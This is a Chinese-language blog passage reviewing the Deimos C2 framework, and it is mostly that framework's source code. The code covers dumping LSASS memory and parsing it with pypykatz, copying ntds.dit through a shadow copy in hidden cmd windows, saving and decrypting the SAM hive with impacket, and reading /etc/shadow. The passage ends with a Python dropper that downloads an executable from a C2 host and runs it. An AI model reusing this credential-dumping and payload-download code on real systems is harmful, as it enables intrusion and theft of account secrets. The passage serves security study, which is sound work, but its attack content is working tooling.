var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
go
//Set process to be SeDebugPrivileges
privileges.SePrivEnable()

pid, _ := strconv.Atoi(options.Options[1])

processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))

p, err := ps.FindProcess(pid)
var dmpFile = path.Join("C:", "Windows", p.Executable())

if _, err := os.Stat(dmpFile); os.IsNotExist(err) {
    os.Create(dmpFile)
}
path, _ := syscall.UTF16PtrFromString(dmpFile)

fileHandle, _, _ := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)

ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)

procCloseHandle.Call(uintptr(fileHandle))

if ret != 0 {
    logging.Logger.Println("Process memory dump successful")
} else {
    log.Fatal("Process memory dmp error: ", err)
}
fileData, err := ioutil.ReadFile(dmpFile)
if err != nil {
    logging.Logger.Println(err)
}

dump的python脚本

python
# Idea and most code from Romain Bentz (pixis - @hackanddo)
# https://github.com/Hackndo/lsassy/blob/master/lsassy/modules/parser.py
# need to pip install pypykatz

from pypykatz.pypykatz import pypykatz
import sys
import json

def main(file):
    #cred_dict= {'luid': [], 'creds': []}
    cred_dict= []
    #cred_dict = {'ssp', 'domain', 'username', 'password', 'lmhash', 'nthash'}

    dmpContents = open(file, "rb")
    pypyParse = pypykatz.parse_minidump_external(dmpContents)
    dmpContents.close()

    ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
    for luid in pypyParse.logon_sessions:
        for ssp in ssps:
            for cred in getattr(pypyParse.logon_sessions[luid], ssp, []):
                domain = getattr(cred, "domainname", None)
                username = getattr(cred, "username", None)
                password = getattr(cred, "password", None)
                LMHash = getattr(cred, "LMHash", None)
                NThash = getattr(cred, "NThash", None)
                if LMHash is not None:
                    LMHash = LMHash.hex()
                if NThash is not None:
                    NThash = NThash.hex()
                if (not all(v is None or v == '' for v in [password, LMHash, NThash])
                        and username is not None
                        and not username.endswith('$')
                        and not username == ''):
                    if not LMHash:
                        LMHash = "aad3b435b51404eeaad3b435b51404ee"
                    if not password:
                        password = "null"
                    creds = {'ssp':ssp, 'domain':domain, 'username':username, 'password':password, 'lmhash':LMHash, 'nthash':NThash}
                    cred_dict.append(creds)


    cred_json = json.dumps(cred_dict)
    print(cred_json)

if __name__ == "__main__":
    main(sys.argv[1])

ntdsdump

域内用户HASH是存在域控ntds.dit中的, 它的存放位置是C:\Windows\ntds.dit。ntds.dit在系统运行过程中是被系统锁定的,无法操作,因此第一步是先把ntds.dit复制一份出来,然后导出其中的用户hash。

NTDSDump将使用VSS方法转储ntds.dit文件

go
cmdName := "cmd.exe"

ntds := "C:\\Windows\\temp\\ntds.dit"
system := "C:\\Windows\\temp\\SYSTEM"

var reply int

cmdArgs := []string{"/c", "vssadmin create shadow /for=c:"}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()

cmdArgs2 := []string{"/c", "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit" + ntds}
cmd2 := exec.Command(cmdName, cmdArgs2...)
cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd2.Run()

cmdArgs3 := []string{"/c", "copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM" + system}
cmd3 := exec.Command(cmdName, cmdArgs3...)
cmd3.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd3.Run()

cmdArgs4 := []string{"/c", "vssadmin delete shadows /for=c: /oldest"}
cmd4 := exec.Command(cmdName, cmdArgs4...)
cmd4.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd4.Run()

ntdsData, err := ioutil.ReadFile(ntds)
if err != nil {
    logging.Logger.Println("Error reading ntds: ", err)
}

systemData, err := ioutil.ReadFile(system)
if err != nil {
    logging.Logger.Println(err)
}

samdump

  • 在Windows操作系统上,sam数据库(C:\Windows\System32\config\sam)里保存着本地用户的hash。
  • 在本地认证的流程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中(dmp文件)。

SAMDump将获取SYSTEM,SAM和SECURITY配置单元文件,然后从它们中提取哈希

go
cmdName := "cmd.exe"

samFile := path.Join("C:", "Windows", "samfile")
systemFile := path.Join("C:", "Windows", "systemfile")
securityFile := path.Join("C:", "Windows", "securityfile")

cmdArgs := []string{"/c", "reg.exe save HKLM\\SAM " + samFile}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()

cmdArgs2 := []string{"/c", "reg.exe save HKLM\\SYSTEM " + systemFile}
cmd2 := exec.Command(cmdName, cmdArgs2...)
cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd2.Run()

cmdArgs3 := []string{"/c", "reg.exe save HKLM\\SECURITY " + securityFile}
cmd3 := exec.Command(cmdName, cmdArgs3...)
cmd3.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd3.Run()

samData, err := ioutil.ReadFile(samFile)
if err != nil {
    logging.Logger.Println(err)
}

systemData, err := ioutil.ReadFile(systemFile)
if err != nil {
    logging.Logger.Println(err)
}

securityData, err := ioutil.ReadFile(securityFile)
if err != nil {
    logging.Logger.Println(err)
}

python解密脚本

python
import sys
from impacket.examples.secretsdump import LocalOperations, SAMHashes
from impacket import winregistry
from binascii import hexlify, unhexlify
from six import b
import json

def main(sysF, samF):
    bootkey = getBootKey(sysF)

    #Borrowed code from https://github.com/byt3bl33d3r/CrackMapExec/blob/48fd338d228f6589928d5e7922df4c7cd240a287/cme/protocols/smb.py#L816
    #Changed to save the hashes as a JSON object as this will be needed for our Golang structs
    def print_sam_hash(sam_hash):
        print_sam_hash.sam_hashes += 1
        username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
        hash_dict = {'Username':username, 'NTLM':lmhash+':'+nthash}
        print(json.dumps(hash_dict))
    print_sam_hash.sam_hashes = 0

    SAM = SAMHashes(samF, bootkey, isRemote=False, perSecretCallback=lambda secret: print_sam_hash(secret))
    SAM.dump()

# From Impacket https://github.com/SecureAuthCorp/impacket/blob/69fee03fd8c120ec7ed0b1e630f7dcc5780fa3f9/impacket/examples/secretsdump.py#L735
def getBootKey(system):
        # Local Version whenever we are given the files directly
        bootKey = b''
        tmpKey = b''
        winreg = winregistry.Registry(system, False)
        # We gotta find out the Current Control Set
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        currentControlSet = "ControlSet%03d" % currentControlSet
        for key in ['JD', 'Skew1', 'GBG', 'Data']:
            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
            digit = ans[:16].decode('utf-16le')
            tmpKey = tmpKey + b(digit)

        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]

        tmpKey = unhexlify(tmpKey)

        for i in range(len(tmpKey)):
            bootKey += tmpKey[transforms[i]:transforms[i] + 1]

        return bootKey

if __name__ == "__main__":
    main(sys.argv[1], sys.argv[2])

shadowdump

针对linux

  • /etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。
  • /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。

ShadowDump将抓取/etc /passwd和/etc /shadow文件,并将其格式化为可破解的hashcat文件

go
shadowData, err := ioutil.ReadFile("/etc/shadow")
if err != nil {
    logging.Logger.Println("Couldn't read shadow file: ", err)
}
passData, err := ioutil.ReadFile("/etc/passwd")
if err != nil {
    logging.Logger.Println("Couldn't read passwd file: ", err)
}

Module - droppers

本来go生成的文件就挺大,一些特定的模块(如凭证dump、屏幕截图)都是单独的,它在传输过程中如何传输的。

deimos是两种方案,一种是将单独模块编译好的数据通过dll反射调用,但这个为让它接收命令的时候获取,如果文件很大,可能会有很多问题。(虽然有这个方案,但是大多数还是通过droppers来执行的)

第二种就是通过droppers,什么是droppers,看了代码简单理解就是一个简单的下载者,它根据系统使用多种语言编写

image-20210422155232910

它代码也很简单,就是通过socket连接,获取数据,写出数据,最后执行,以一个简单的python代码为例。

python
import socket
import os
import time
import platform
import stat

port=4153 #MAKE DYNAMIC
host="10.20.80.134" #MAKE DYNAMIC

outputfile="C:\\ProgramData\\nice.exe" #MAKE DYNAMIC

padding= b'\x00\x00\x00\x00\x00\x00\x00\x27'
name="39519bc2-9c07-4e76-8774-0554edcaf7c4" #MAKE DYNAMIC
OS="W"

if(platform.machine()== "AMD64"):
    ARCH="6"
else:
    ARCH="3"

PROC=""
if("Intel" in platform.processor()):
    PROC="I"
elif("ARM" in platform.processor()):
    PROC="A"

fullname = padding + bytes(name, "utf-8") + bytes(OS, "utf-8") + bytes(ARCH, "utf-8") + bytes(PROC, "utf-8")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(fullname)

out=b''

while True:
    rec = s.recv(1024)
    if not rec: 
        break
    out += rec

outfile = open(outputfile,"wb")
outfile.write(out)
outfile.close()

s.close()

st = os.stat(outputfile)
os.chmod(outputfile, st.st_mode | stat.S_IEXEC)
os.system(outputfile)

但是这会让文件落地,增大了风险。

End

因为只是虚拟机跑了下,有个小困惑,它里面module加载的部分都是jsonprc形式,但是监听的域名都是127.0.0.1,看代码好像也没有更改这个的地方。

整体来看,多人协作,搭建一个web大家可以一起操作的模式挺好的,用Go编写的也挺好的,但木马层面的技术比较低,没怎么考虑到隐蔽性,生成一个木马因为需要混淆也要很久很久,不过依然是值得学习的c2软件。

撰写